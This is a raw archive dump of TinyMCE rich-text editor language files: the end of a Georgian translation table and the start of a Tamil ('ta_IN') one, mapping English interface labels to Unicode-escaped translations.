"Lower Alpha": "\u10d3\u10d0\u10d1\u10d0\u10da\u10d8 \u10d0\u10da\u10e4\u10d0",
"Circle": "\u10ec\u10e0\u10d4",
"Disc": "\u10d3\u10d8\u10e1\u10d9\u10d8",
"Upper Alpha": "\u10db\u10d0\u10e6\u10d0\u10da\u10d8 \u10d0\u10da\u10e4\u10d0",
"Upper Roman": "\u10db\u10d0\u10e6\u10d0\u10da\u10d8 \u10e0\u10dd\u10db\u10d0\u10e3\u10da\u10d8",
"Lower Roman": "\u10d3\u10d0\u10d1\u10d0\u10da\u10d8 \u10e0\u10dd\u10db\u10d0\u10e3\u10da\u10d8",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "id \u10e3\u10dc\u10d3\u10d0 \u10d8\u10ec\u10e7\u10d4\u10d1\u10dd\u10d3\u10d4\u10e1 \u10d0\u10e1\u10dd\u10d7\u10d8, \u10e0\u10dd\u10db\u10d4\u10da\u10e1\u10d0\u10ea \u10db\u10dd\u10e7\u10d5\u10d4\u10d1\u10d0 \u10db\u10ee\u10dd\u10da\u10dd\u10d3 \u10d0\u10e1\u10dd\u10d4\u10d1\u10d8, \u10ea\u10d8\u10e4\u10e0\u10d4\u10d1\u10d8, \u10e2\u10d8\u10e0\u10d4, \u10ec\u10d4\u10e0\u10e2\u10d8\u10da\u10d4\u10d1\u10d8, \u10dd\u10e0\u10d8 \u10ec\u10d4\u10e0\u10e2\u10d8\u10da\u10d8 \u10d0\u10dc \u10e5\u10d5\u10d4\u10d3\u10d0 \u10e2\u10d8\u10e0\u10d4. ",
"Name": "\u10e1\u10d0\u10ee\u10d4\u10da\u10d8",
"Anchor": "\u10e6\u10e3\u10d6\u10d0",
"Id": "id",
"You have unsaved changes are you sure you want to navigate away?": "\u10d7\u10e5\u10d5\u10d4\u10dc \u10d2\u10d0\u10e5\u10d5\u10d7 \u10e8\u10d4\u10e3\u10dc\u10d0\u10ee\u10d0\u10d5\u10d8 \u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d4\u10d1\u10d8, \u10d3\u10d0\u10e0\u10ec\u10db\u10e3\u10dc\u10d4\u10d1\u10e3\u10da\u10d8 \u10ee\u10d0\u10d7 \u10e0\u10dd\u10db \u10e1\u10ee\u10d5\u10d0\u10d2\u10d0\u10dc \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0 \u10d2\u10e1\u10e3\u10e0\u10d7?",
"Restore last draft": "\u10d1\u10dd\u10da\u10dd\u10e1 \u10e8\u10d4\u10dc\u10d0\u10ee\u10e3\u10da\u10d8\u10e1 \u10d0\u10e6\u10d3\u10d2\u10d4\u10dc\u10d0",
"Special character": "\u10e1\u10de\u10d4\u10ea\u10d8\u10d0\u10da\u10e3\u10e0\u10d8 \u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd",
"Source code": "\u10ec\u10e7\u10d0\u10e0\u10dd\u10e1 \u10d9\u10dd\u10d3\u10d8",
"Language": "\u10d4\u10dc\u10d0",
"Insert\/Edit code sample": "\u10e9\u10d0\u10e1\u10d5\u10d8\/\u10e8\u10d4\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4 \u10d9\u10dd\u10d3\u10d8\u10e1 \u10db\u10d0\u10d2\u10d0\u10da\u10d8\u10d7\u10d8",
"B": "\u10da",
"R": "\u10ec",
"G": "\u10db",
"Color": "\u10e4\u10d4\u10e0\u10d8",
"Right to left": "\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",
"Left to right": "\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",
"Emoticons": "\u10e1\u10db\u10d0\u10d8\u10da\u10d8\u10d9\u10d4\u10d1\u10d8",
"Robots": "\u10e0\u10dd\u10d1\u10dd\u10d4\u10d1\u10d8",
"Document properties": "\u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8",
"Title": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",
"Keywords": "\u10e1\u10d0\u10d9\u10d5\u10d0\u10dc\u10eb\u10dd \u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10d8",
"Encoding": "\u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0",
"Description": "\u10d0\u10ee\u10ec\u10d4\u10e0\u10d0",
"Author": "\u10d0\u10d5\u10e2\u10dd\u10e0\u10d8",
"Fullscreen": "\u10e1\u10d0\u10d5\u10e1\u10d4 \u10d4\u10d9\u10e0\u10d0\u10dc\u10d8",
"Horizontal line": "\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2\u10d0\u10da\u10e3\u10e0\u10d8 \u10ee\u10d0\u10d6\u10d8",
"Horizontal space": "\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2\u10d0\u10da\u10e3\u10e0\u10d8 \u10e1\u10d8\u10d5\u10e0\u10ea\u10d4",
"Insert\/edit image": "\u10e9\u10d0\u10e1\u10d5\u10d8\/\u10e8\u10d4\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4 \u10e1\u10e3\u10e0\u10d0\u10d7\u10d8",
"General": "\u10db\u10d7\u10d0\u10d5\u10d0\u10e0\u10d8",
"Advanced": "\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8",
"Source": "\u10d1\u10db\u10e3\u10da\u10d8",
"Border": "\u10e1\u10d0\u10d6\u10e6\u10d5\u10d0\u10e0\u10d8",
"Constrain proportions": "\u10de\u10e0\u10dd\u10de\u10dd\u10e0\u10ea\u10d8\u10d8\u10e1 \u10d3\u10d0\u10ea\u10d5\u10d0",
"Vertical space": "\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d8 \u10e1\u10d8\u10d5\u10e0\u10ea\u10d4",
"Image description": "\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8\u10e1 \u10d3\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10d0",
"Style": "\u10e1\u10e2\u10d8\u10da\u10d8",
"Dimensions": "\u10d2\u10d0\u10dc\u10d6\u10dd\u10db\u10d8\u10da\u10d4\u10d1\u10d0",
"Insert image": "\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",
"Image": "\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0",
"Zoom in": "\u10d2\u10d0\u10d3\u10d8\u10d3\u10d8\u10d4\u10d1\u10d0",
"Contrast": "\u10d9\u10dd\u10dc\u10e2\u10e0\u10d0\u10e1\u10e2\u10d8",
"Back": "\u10e3\u10d9\u10d0\u10dc",
"Gamma": "\u10d2\u10d0\u10db\u10d0",
"Flip horizontally": "\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2\u10d0\u10da\u10e3\u10e0\u10d0\u10d3 \u10e8\u10d4\u10e2\u10e0\u10d8\u10d0\u10da\u10d4\u10d1\u10d0",
"Resize": "\u10d6\u10dd\u10db\u10d8\u10e1 \u10e8\u10d4\u10ea\u10d5\u10da\u10d0",
"Sharpen": "\u10d2\u10d0\u10da\u10d4\u10e1\u10d5\u10d0",
"Zoom out": "\u10d3\u10d0\u10de\u10d0\u10e2\u10d0\u10e0\u10d0\u10d5\u10d4\u10d1\u10d0",
"Image options": "\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",
"Apply": "\u10db\u10d8\u10e6\u10d4\u10d1\u10d0",
"Brightness": "\u10e1\u10d8\u10d9\u10d0\u10e8\u10d9\u10d0\u10e8\u10d4",
"Rotate clockwise": "\u10e1\u10d0\u10d0\u10d7\u10d8\u10e1 \u10d8\u10e1\u10e0\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d8\u10d7 \u10db\u10dd\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0",
"Rotate counterclockwise": "\u10e1\u10d0\u10d0\u10d7\u10d8\u10e1 \u10d8\u10e1\u10e0\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d0\u10ec\u10d8\u10dc\u10d0\u10d0\u10e6\u10db\u10d3\u10d4\u10d2\u10dd\u10d2 \u10db\u10dd\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0",
"Edit image": "\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8\u10e1 \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0",
"Color levels": "\u10e4\u10d4\u10e0\u10d8\u10e1 \u10d3\u10dd\u10dc\u10d4",
"Crop": "\u10db\u10dd\u10ed\u10e0\u10d0",
"Orientation": "\u10dd\u10e0\u10d8\u10d4\u10dc\u10e2\u10d0\u10ea\u10d8\u10d0",
"Flip vertically": "\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d0\u10d3 \u10d0\u10e2\u10e0\u10d8\u10d0\u10da\u10d4\u10d1\u10d0",
"Invert": "\u10e8\u10d4\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0",
"Date\/time": "\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8\/\u10d3\u10e0\u10dd",
"Insert date\/time": "\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8\/\u10d3\u10e0\u10dd\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",
"Remove link": "\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0",
"Url": "Url",
"Text to display": "\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8",
"Anchors": "\u10e6\u10e3\u10d6\u10d0",
"Insert link": "\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",
"Link": "\u10d1\u10db\u10e3\u10da\u10d8",
"New window": "\u10d0\u10ee\u10d0\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8",
"None": "\u10d0\u10e0\u10ea\u10d4\u10e0\u10d7\u10d8",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u10d7\u10e5\u10d5\u10d4\u10dc\u10e1 \u10db\u10d8\u10d4\u10e0 \u10db\u10d8\u10d7\u10d8\u10d7\u10d4\u10d1\u10e3\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10ec\u10d0\u10e0\u10db\u10dd\u10d0\u10d3\u10d2\u10d4\u10dc\u10e1 \u10d2\u10d0\u10e0\u10d4 \u10d1\u10db\u10e3\u10da\u10e1. \u10d2\u10e1\u10e3\u10e0\u10d7, \u10e0\u10dd\u10db \u10db\u10d8\u10d5\u10d0\u10dc\u10d8\u10ed\u10dd http:\/\/ \u10e4\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8?",
"Paste or type a link": "\u10e9\u10d0\u10e1\u10d5\u10d8\u10d7 \u10d0\u10dc \u10e8\u10d4\u10d8\u10e7\u10d5\u10d0\u10dc\u10d4\u10d7 \u10d1\u10db\u10e3\u10da\u10d8",
"Target": "\u10d2\u10d0\u10ee\u10e1\u10dc\u10d0",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u10d7\u10e5\u10d5\u10d4\u10dc \u10db\u10d8\u10e3\u10d7\u10d8\u10d7\u10d4\u10d7 \u10d4\u10da-\u10e4\u10dd\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10dc\u10d0\u10ea\u10d5\u10da\u10d0\u10d3 \u10d5\u10d4\u10d1-\u10d2\u10d5\u10d4\u10e0\u10d3\u10d8\u10e1\u10d0. \u10d2\u10e1\u10e3\u10e0\u10d7, \u10e0\u10dd\u10db \u10db\u10d8\u10d5\u10d0\u10dc\u10d8\u10ed\u10dd mailto: \u10e4\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8?",
"Insert\/edit link": "\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0\/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d0",
"Insert\/edit video": "\u10d5\u10d8\u10d3\u10d4\u10dd\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0\/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0",
"Media": "\u10db\u10d4\u10d3\u10d8\u10d0",
"Alternative source": "\u10d0\u10da\u10e2\u10d4\u10e0\u10dc\u10d0\u10e2\u10d8\u10e3\u10da\u10d8 \u10ec\u10e7\u10d0\u10e0\u10dd",
"Paste your embed code below:": "\u10d0\u10e5 \u10e9\u10d0\u10e1\u10d5\u10d8\u10d7 \u10d7\u10e5\u10d5\u10d4\u10dc\u10d8 \u10d9\u10dd\u10d3\u10d8:",
"Insert video": "\u10d5\u10d8\u10d3\u10d4\u10dd\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",
"Poster": "\u10de\u10da\u10d0\u10d9\u10d0\u10e2\u10d8",
"Insert\/edit media": "\u10db\u10d4\u10d3\u10d8\u10d0\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0\/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0",
"Embed": "\u10e9\u10d0\u10e8\u10d4\u10dc\u10d4\u10d1\u10d0",
"Nonbreaking space": "\u10e3\u10ec\u10e7\u10d5\u10d4\u10e2\u10d8 \u10e1\u10d8\u10d5\u10e0\u10ea\u10d4",
"Page break": "\u10d2\u10d5\u10d4\u10e0\u10d3\u10d8\u10e1 \u10d2\u10d0\u10ec\u10e7\u10d5\u10d4\u10e2\u10d0",
"Paste as text": "\u10e9\u10d0\u10e1\u10d5\u10d8\u10d7 \u10e0\u10dd\u10d2\u10dd\u10e0\u10ea \u10e2\u10d4\u10e5\u10e1\u10e2\u10d8",
"Preview": "\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0 \u10dc\u10d0\u10ee\u10d5\u10d0",
"Print": "\u10d0\u10db\u10dd\u10d1\u10d4\u10ed\u10d5\u10d3\u10d0",
"Save": "\u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0",
"Could not find the specified string.": "\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10e9\u10d0\u10dc\u10d0\u10ec\u10d4\u10e0\u10d8 \u10d5\u10d4\u10e0 \u10db\u10dd\u10d8\u10eb\u10d4\u10d1\u10dc\u10d0.",
"Replace": "\u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",
"Next": "\u10e8\u10d4\u10db\u10d3\u10d4\u10d2\u10d8",
"Whole words": "\u10e1\u10e0\u10e3\u10da\u10d8 \u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10d8",
"Find and replace": "\u10db\u10dd\u10eb\u10d4\u10d1\u10dc\u10d4 \u10d3\u10d0 \u10e8\u10d4\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4",
"Replace with": "\u10e8\u10d4\u10e1\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d4\u10da\u10d8 \u10e1\u10d8\u10e2\u10e7\u10d5\u10d0",
"Find": "\u10eb\u10d4\u10d1\u10dc\u10d0",
"Replace all": "\u10e7\u10d5\u10d4\u10da\u10d0\u10e1 \u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",
"Match case": "\u10d3\u10d0\u10d0\u10db\u10d7\u10ee\u10d5\u10d8\u10d4 \u10d0\u10e1\u10dd\u10d4\u10d1\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0",
"Prev": "\u10ec\u10d8\u10dc\u10d0",
"Spellcheck": "\u10db\u10d0\u10e0\u10d7\u10da\u10ec\u10d4\u10e0\u10d8\u10e1 \u10e8\u10d4\u10db\u10dd\u10ec\u10db\u10d4\u10d1\u10d0",
"Finish": "\u10d3\u10d0\u10e1\u10d0\u10e1\u10e0\u10e3\u10da\u10d8",
"Ignore all": "\u10e7\u10d5\u10d4\u10da\u10d0\u10e1 \u10d8\u10d2\u10dc\u10dd\u10e0\u10d8\u10e0\u10d4\u10d1\u10d0",
"Ignore": "\u10d8\u10d2\u10dc\u10dd\u10e0\u10d8\u10e0\u10d4\u10d1\u10d0",
"Add to Dictionary": "\u10da\u10d4\u10e5\u10e1\u10d8\u10d9\u10dd\u10dc\u10e8\u10d8 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Insert row before": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d7\u10d0\u10d5\u10e8\u10d8 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Rows": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8",
"Height": "\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4",
"Paste row after": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d1\u10dd\u10da\u10dd\u10e8\u10d8 \u10e9\u10d0\u10e1\u10db\u10d0",
"Alignment": "\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",
"Border color": "\u10e1\u10d0\u10d6\u10d0\u10e0\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8",
"Column group": "\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1 \u10ef\u10d2\u10e3\u10e4\u10d8",
"Row": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8",
"Insert column before": "\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1 \u10d7\u10d0\u10d5\u10e8\u10d8 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Split cell": "\u10e3\u10ef\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e7\u10dd\u10e4\u10d0",
"Cell padding": "\u10e3\u10ef\u10e0\u10d8\u10e1 \u10e4\u10d0\u10e0\u10d7\u10dd\u10d1\u10d8",
"Cell spacing": "\u10e3\u10ef\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",
"Row type": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10e2\u10d8\u10de\u10d8",
"Insert table": "\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",
"Body": "\u10e2\u10d0\u10dc\u10d8",
"Caption": "\u10ec\u10d0\u10e0\u10ec\u10d4\u10e0\u10d0",
"Footer": "\u10eb\u10d8\u10e0\u10d8",
"Delete row": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0",
"Paste row before": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d7\u10d0\u10d5\u10e8\u10d8 \u10e9\u10d0\u10e1\u10db\u10d0",
"Scope": "\u10e9\u10d0\u10e0\u10e9\u10dd",
"Delete table": "\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0",
"H Align": "H \u10e9\u10d0\u10db\u10ec\u10d9\u10e0\u10d8\u10d5\u10d4\u10d1\u10d0",
"Top": "\u10db\u10d0\u10e6\u10da\u10d0",
"Header cell": "\u10d7\u10d0\u10d5\u10d8\u10e1 \u10e3\u10ef\u10e0\u10d0",
"Column": "\u10e1\u10d5\u10d4\u10e2\u10d8",
"Row group": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10ef\u10d2\u10e3\u10e4\u10d8",
"Cell": "\u10e3\u10ef\u10e0\u10d0",
"Middle": "\u10e8\u10e3\u10d0",
"Cell type": "\u10e3\u10ef\u10e0\u10d8\u10e1 \u10e2\u10d8\u10de\u10d8",
"Copy row": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0",
"Row properties": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8",
"Table properties": "\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1 \u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8",
"Bottom": "\u10e5\u10d5\u10d4\u10d3\u10d0",
"V Align": "V \u10e9\u10d0\u10db\u10ec\u10d9\u10e0\u10d8\u10d5\u10d4\u10d1\u10d0",
"Header": "\u10d7\u10d0\u10d5\u10d8",
"Right": "\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",
"Insert column after": "\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1 \u10d1\u10dd\u10da\u10dd\u10e8\u10d8 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Cols": "\u10e1\u10d5\u10d4\u10e2\u10d4\u10d1\u10d8",
"Insert row after": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d1\u10dd\u10da\u10dd\u10e8\u10d8 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Width": "\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4",
"Cell properties": "\u10e3\u10ef\u10e0\u10d8\u10e1 \u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8",
"Left": "\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",
"Cut row": "\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d0\u10db\u10dd\u10ed\u10e0\u10d0",
"Delete column": "\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0",
"Center": "\u10ea\u10d4\u10dc\u10e2\u10e0\u10e8\u10d8",
"Merge cells": "\u10e3\u10ef\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10d4\u10e0\u10d7\u10d8\u10d0\u10dc\u10d4\u10d1\u10d0",
"Insert template": "\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",
"Templates": "\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d4\u10d1\u10d8",
"Background color": "\u10e3\u10d9\u10d0\u10dc\u10d0 \u10e4\u10d4\u10e0\u10d8",
"Custom...": "\u10db\u10dd\u10e0\u10d2\u10d4\u10d1\u10e3\u10da\u10d8",
"Custom color": "\u10db\u10dd\u10e0\u10d2\u10d4\u10d1\u10e3\u10da\u10d8 \u10e4\u10d4\u10e0\u10d8",
"No color": "\u10e4\u10d4\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",
"Text color": "\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8",
"Table of Contents": "\u10e1\u10d0\u10e0\u10e9\u10d4\u10d5\u10d8",
"Show blocks": "\u10d1\u10da\u10dd\u10d9\u10d4\u10d1\u10d8\u10e1 \u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10d0",
"Show invisible characters": "\u10e3\u10ee\u10d8\u10da\u10d0\u10d5\u10d8 \u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd\u10d4\u10d1\u10d8\u10e1 \u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10d0",
"Words: {0}": "\u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10d8: {0}",
"Insert": "\u10e9\u10d0\u10e1\u10db\u10d0",
"File": "\u10e4\u10d0\u10d8\u10da\u10d8",
"Edit": "\u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e4\u10d0\u10e0\u10d7\u10d8. \u10d3\u10d0\u10d0\u10ed\u10d8\u10e0\u10d4\u10d7 ALT-F9\u10e1 \u10db\u10d4\u10dc\u10d8\u10e3\u10e1 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10eb\u10d0\u10ee\u10d4\u10d1\u10da\u10d0\u10d3. \u10d3\u10d0\u10d0\u10ed\u10d8\u10e0\u10d4\u10d7 ALT-F10\u10e1 \u10de\u10d0\u10dc\u10d4\u10da\u10d8\u10e1\u10d7\u10d5\u10d8\u10e1. \u10d3\u10d0\u10d0\u10ed\u10d8\u10e0\u10d4\u10d7 ALT-0\u10e1 \u10d3\u10d0\u10ee\u10db\u10d0\u10e0\u10d4\u10d1\u10d8\u10e1\u10d7\u10d5\u10d8\u10e1",
"Tools": "\u10d8\u10d0\u10e0\u10d0\u10e6\u10d4\u10d1\u10d8",
"View": "\u10dc\u10d0\u10ee\u10d5\u10d0",
"Table": "\u10ea\u10ee\u10e0\u10d8\u10da\u10d8",
"Format": "\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8"
});PK
h�\�������!program/js/tinymce/langs/ta_IN.jsnu�[���tinymce.addI18n('ta_IN',{
"Redo": "\u0bae\u0bc0\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Undo": "\u0b9a\u0bc6\u0baf\u0bb2\u0bcd\u0ba4\u0bb5\u0bbf\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Cut": "\u0bb5\u0bc6\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Copy": "\u0ba8\u0b95\u0bb2\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Paste": "\u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Select all": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"New document": "\u0baa\u0bc1\u0ba4\u0bbf\u0baf \u0b86\u0bb5\u0ba3\u0bae\u0bcd",
"Ok": "\u0b9a\u0bb0\u0bbf",
"Cancel": "\u0bb0\u0ba4\u0bcd\u0ba4\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Visual aids": "\u0b95\u0bbe\u0b9f\u0bcd\u0b9a\u0bbf\u0ba4\u0bcd \u0ba4\u0bc1\u0ba3\u0bc8\u0baf\u0ba9\u0bcd\u0b95\u0bb3\u0bcd",
"Bold": "\u0ba4\u0b9f\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Italic": "\u0b9a\u0bbe\u0baf\u0bcd\u0bb5\u0bc1",
"Underline": "\u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bcb\u0b9f\u0bc1",
"Strikethrough": "\u0ba8\u0b9f\u0bc1\u0b95\u0bcd\u0b95\u0bcb\u0b9f\u0bc1",
"Superscript": "\u0bae\u0bc7\u0bb2\u0bcd\u0b92\u0b9f\u0bcd\u0b9f\u0bc1",
"Subscript": "\u0b95\u0bc0\u0bb4\u0bcd\u0b92\u0b9f\u0bcd\u0b9f\u0bc1",
"Clear formatting": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b85\u0bb4\u0bbf\u0b95\u0bcd\u0b95",
"Align left": "\u0b87\u0b9f\u0ba4\u0bc1 \u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Align center": "\u0bae\u0bc8\u0baf \u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Align right": "\u0bb5\u0bb2\u0ba4\u0bc1 \u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Justify": "\u0ba8\u0bc7\u0bb0\u0bcd\u0ba4\u0bcd\u0ba4\u0bbf \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Bullet list": "\u0baa\u0bca\u0b9f\u0bcd\u0b9f\u0bbf\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f  \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Numbered list": "\u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
